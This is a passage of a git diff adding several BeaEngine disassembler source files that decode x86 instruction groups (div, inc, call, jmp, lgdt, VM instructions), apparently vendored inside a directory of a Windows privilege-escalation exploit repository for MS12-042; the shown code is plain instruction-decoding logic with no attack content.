REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 8; + FillFlags(pMyDisasm, 38); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "div "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 8; + FillFlags(pMyDisasm, 31); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "idiv "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG0; + FillFlags(pMyDisasm, 37); + } +} + +/* ==================================================================== + * 0f7h + * ==================================================================== */ +void __bea_callspec__ G3_Ev(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + EvIv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 104); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + EvIv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 104); + } + else if (GV.REGOPCODE == 2) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "not "); + #endif + Ev(pMyDisasm); + FillFlags(pMyDisasm, 73); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "neg "); + #endif + Ev(pMyDisasm); + FillFlags(pMyDisasm, 71); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mul "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + GV.MemDecoration = Arg2word; + (*pMyDisasm).Argument1.ArgSize = 16; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + FillFlags(pMyDisasm, 70); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + GV.MemDecoration = Arg2word; + (*pMyDisasm).Argument1.ArgSize = 16; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + FillFlags(pMyDisasm, 38); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "div "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + GV.MemDecoration = Arg2word; + (*pMyDisasm).Argument1.ArgSize = 16; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + FillFlags(pMyDisasm, 31); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "idiv "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + GV.MemDecoration = Arg2word; + (*pMyDisasm).Argument1.ArgSize = 16; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + FillFlags(pMyDisasm, 37); + } +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp4.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp4.c new file mode 100644 index 0000000..4e430b9 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp4.c @@ -0,0 +1,51 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0feh + * ==================================================================== */ +void __bea_callspec__ G4_Eb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + Eb(pMyDisasm); + FillFlags(pMyDisasm, 40); + } + else if (GV.REGOPCODE == 1) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + Eb(pMyDisasm); + FillFlags(pMyDisasm, 30); + } + else { + FailDecode(pMyDisasm); + } +} + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp5.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp5.c new file mode 100644 index 0000000..2c26fb0 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp5.c @@ -0,0 +1,153 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0ffh + * ==================================================================== */ +void __bea_callspec__ G5_Ev(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + Ev(pMyDisasm); + FillFlags(pMyDisasm, 40); + } + else if (GV.REGOPCODE == 1) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + Ev(pMyDisasm); + FillFlags(pMyDisasm, 30); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = CallType; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call "); + #endif + if (GV.Architecture == 64) { + GV.OperandSize = 64; + } + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = CallType; + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lcall "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call far "); + #endif + } + GV.MemDecoration = Arg1fword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JmpType; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp "); + #endif + if (GV.Architecture == 64) { + GV.OperandSize = 64; + } + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = CallType; + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ljmp "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp far "); + #endif + } + GV.MemDecoration = Arg1fword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + GV.OperandSize = 64; + } + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + } + else { + GV.MemDecoration = Arg2word; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } + else { + FailDecode(pMyDisasm); + } +} + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp6.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp6.c new file mode 100644 index 0000000..af09f7a --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp6.c @@ -0,0 +1,117 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0f00h + * ==================================================================== */ +void __bea_callspec__ G6_(PDISASM pMyDisasm) +{ + Int32 OperandSizeOld = 0; + + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + OperandSizeOld = GV.OperandSize; + GV.OperandSize = 16; + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + + if (GV.REGOPCODE == 0) { + if ((OperandSizeOld == 64) && (GV.MOD_== 0x3)) { + GV.OperandSize = OperandSizeOld; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sldt "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG1; + (*pMyDisasm).Argument2.ArgSize = 32; + GV.OperandSize = OperandSizeOld; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 1) { + if ((OperandSizeOld == 64) && (GV.MOD_== 0x3)) { + GV.OperandSize = OperandSizeOld; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "str "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG3; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.OperandSize = OperandSizeOld; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lldt "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG1; + (*pMyDisasm).Argument1.ArgSize = 16; + GV.OperandSize = OperandSizeOld; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ltr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG3; + (*pMyDisasm).Argument1.ArgSize = 16; + GV.OperandSize = OperandSizeOld; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verr "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.OperandSize = OperandSizeOld; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verw "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.OperandSize = OperandSizeOld; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.REGOPCODE == 6) { + FailDecode(pMyDisasm); + GV.OperandSize = OperandSizeOld; + } + else { + FailDecode(pMyDisasm); + GV.OperandSize = OperandSizeOld; + } +} + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp7.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp7.c new file mode 100644 index 0000000..465b6d6 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp7.c @@ -0,0 +1,278 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0f01h + * ==================================================================== */ +void __bea_callspec__ G7_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + GV.RM_ = (*((UInt8*)(UIntPtr) (GV.EIP_+1))) & 0x7; + if (GV.REGOPCODE == 0) { + if (GV.MOD_== 0x3) { + if (GV.RM_ == 0x1) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmcall "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x2) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmlaunch "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x3) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmresume "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x4) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmxoff "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + } + else { + GV.MemDecoration = Arg1fword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sgdt "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 48; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + else if (GV.REGOPCODE == 1) { + if (GV.MOD_== 0x3) { + if (GV.RM_ == 0x00) { + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+AGENT_SYNCHRONISATION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "monitor "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x01) { + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+AGENT_SYNCHRONISATION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mwait "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + } + else { + GV.MemDecoration = Arg1fword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sidt "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG2; + (*pMyDisasm).Argument2.ArgSize = 48; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + else if (GV.REGOPCODE == 2) { + if (GV.MOD_== 0x3) { + if (GV.RM_ == 0x0) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xgetbv "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x1) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xsetbv "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + } + else { + GV.MemDecoration = Arg2fword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lgdt "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 48; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + else if (GV.REGOPCODE == 3) { + if (GV.MOD_== 0x3) { + if (GV.RM_ == 0x0) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmrun "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x1) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmmcall "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x2) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmload "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x3) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmsave "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x4) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stgi "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x5) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clgi "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x6) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "skinit "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else if (GV.RM_ == 0x7) { + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "invlpga "); + #endif + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + } + else { + GV.MemDecoration = Arg2fword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lidt "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG2; + (*pMyDisasm).Argument1.ArgSize = 48; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "smsw "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+CR_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 16; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, 